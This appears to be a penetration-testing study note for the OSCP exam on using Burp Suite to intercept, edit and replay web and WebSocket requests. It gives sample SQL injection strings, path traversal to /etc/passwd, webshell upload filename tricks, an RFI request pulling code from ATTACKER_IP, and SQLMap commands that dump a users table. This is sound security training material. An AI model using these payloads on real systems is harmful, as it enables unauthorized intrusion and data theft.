Burp Suite — OSCP Notes
What is Burp Suite?
Burp Suite is an intercepting HTTP/HTTPS proxy between your browser and the target. You see and edit every request before it reaches the server — the standard tool for manual web exploitation when scanners miss logic bugs.
OSCP relevance: File upload bypass, auth bypass, manual SQLi confirmation, parameter tampering, saving requests for SQLMap (
-r), vhost discovery prep, and session/cookie manipulation.
Setup (Kali / Exam)
# Kali — Community Edition pre-installed
burpsuite &
# Or from Applications → Web Application Analysis → burpsuiteBrowser proxy config
| Setting | Value |
|---|---|
| Proxy host | 127.0.0.1 |
| Proxy port | 8080 (default) |
Firefox: Settings → Network Settings → Manual proxy → HTTP + HTTPS → 127.0.0.1:8080 → No proxy for localhost.
Burp CA cert (HTTPS): Proxy → Proxy settings → Import/export CA certificate → export cacert.der → import in browser as trusted authority.
Core Tabs (What You Actually Use)
| Tab | Purpose | OSCP use |
|---|---|---|
| Proxy → Intercept | Pause and edit live requests | Upload bypass, change params, swap cookies |
| HTTP history | Log of all traffic | Find hidden params, copy to Repeater |
| Repeater | Resend one request, tweak, compare | SQLi, LFI, auth bypass testing |
| Intruder | Automated fuzzing (Community = slow) | Brute params, simple fuzzing |
| Decoder | Base64, URL, hex encode/decode | Decode tokens, craft payloads |
| WebSockets history | Log of WS handshake + frames | SQLi/CMDi in JSON messages, auth tokens |
Community Edition limits: Intruder is throttled — for heavy dir brute use Gobuster or ffuf. Burp shines on manual one-off edits and WebSocket message replay.
📌 WebSockets — intercept, replay, export
Many modern apps use ws:// / wss:// after an HTTP 101 Switching Protocols upgrade. Burp logs these separately from normal HTTP.
Find WebSocket traffic
- Browse the app with proxy enabled
- Proxy → WebSockets history (or filter HTTP history for
Upgrade: websocket) - Select a connection → view sent/received messages (often JSON)
Manual testing (before SQLMap)
- Right-click a message → Send to Repeater
- Edit payload in the message body:
{"id":"1'"}
{"user":"admin' OR '1'='1--"}
{"cmd":"'; WAITFOR DELAY '0:0:5'--"}- Send → compare responses / timing for SQLi, command injection, auth bypass
Intercept WebSocket messages
Proxy → Options → WebSockets — enable interception of WebSocket messages (same idea as HTTP intercept). Edit frames before they reach the server.
SQLMap + WebSockets
SQLMap cannot consume WebSocket frames directly. Options:
| Approach | How |
|---|---|
| HTTP harness | Local script converts HTTP → WS; SQLMap hits http://127.0.0.1:8081/?id=1 — see SQLMap > WebSockets — SQLi over ws:// / wss:// |
| Manual confirm in Burp | Repeater proves SQLi → build harness → automate dump with SQLMap |
| Copy message format | Note exact JSON keys, encoding (base64), and headers from Burp for the bridge script |
Other Burp + WebSocket uses
| Test | Burp action |
|---|---|
| Auth token in first WS message | Capture handshake + first frame; replay with modified token |
| IDOR in message fields | Repeater — change userId, roomId, etc. |
| XSS in WS response | If UI renders message content without sanitization |
| CSWSH (Cross-Site WebSocket Hijacking) | Check Origin validation on upgrade request |
📌 1) Intercept Workflow
Browser → Burp (8080) → Target
↑ edit here
- Turn Intercept on
- Trigger action in browser (login, upload, search)
- Edit request in Burp (filename, Content-Type, param values)
- Forward to send
- Check response in browser or HTTP history
Common edits
# Change upload filename in POST body
Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
# Bypass MIME check
Content-Type: image/jpeg
# Change hidden parameter
role=user → role=admin
# Path traversal in param
file=report.pdf → file=../../../../etc/passwdSee File Upload Bypass and Local File Inclusion (LFI).
📌 2) Repeater — Manual Exploit Testing
- HTTP history → right-click request → Send to Repeater
- Modify URL, headers, body
- Send → inspect response pane
SQLi quick test
GET /page?id=1' HTTP/1.1
GET /page?id=1 AND 1=1-- HTTP/1.1
GET /page?id=1 AND 1=2-- HTTP/1.1Different responses → SQLi likely → automate with SQLMap.
LFI quick test
GET /download?file=../../../../etc/passwd HTTP/1.1
GET /download?file=....//....//etc/passwd HTTP/1.1RFI quick test
GET /index.php?page=http://ATTACKER_IP:8000/rfi.txt&cmd=id HTTP/1.1Host rfi.txt on Kali (python3 -m http.server 8000) — full workflow → Remote File Inclusion (RFI)
📌 3) Export Request for SQLMap
Most reliable SQLMap workflow on OSCP:
1. Capture vulnerable request in Burp (with session cookie if needed)
2. Right-click → Save item → request.txt
3. sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch --dbs
sqlmap -r request.txt --batch -D dbname --tables
sqlmap -r request.txt --batch -D dbname -T users --dumpSee SQLMap.
📌 4) File Upload Bypass via Burp
When client-side JS blocks .php:
- Upload harmless file, intercept in Burp
- Change
filename=inContent-Disposition - Change
Content-Typeif server checks MIME - Forward
Content-Disposition: form-data; name="upload"; filename="shell.phtml"
Content-Type: image/pngDouble extensions, null bytes (legacy), .php5, .phtml — see File Upload Bypass.
📌 5) Scope & Filters
Target → Scope: Add target URL so Burp only logs relevant traffic.
Filter bar (Proxy history): MIME type, status code, search term.
Match and replace (optional): Proxy → Match and replace — auto-add headers.
📌 6) OSCP Exam Tips
| Do | Don’t |
|---|---|
| Use Repeater for quick manual tests | Rely on Intruder for full dir brute (too slow on CE) |
Save working requests as .txt for SQLMap | Forget session cookies in exported requests |
| Import CA cert for HTTPS sites | Panic if HTTPS breaks — fix cert first |
| Send interesting requests to Repeater | Run every scan through Burp Scanner (Pro only) |
📌 Quick Cheat Sheet
# Start Burp
burpsuite &
# Browser proxy: 127.0.0.1:8080
# SQLMap from saved request
sqlmap -r request.txt --batch --dbs
# Route SQLMap through Burp (optional debug)
sqlmap -r request.txt --proxy=http://127.0.0.1:8080 --batch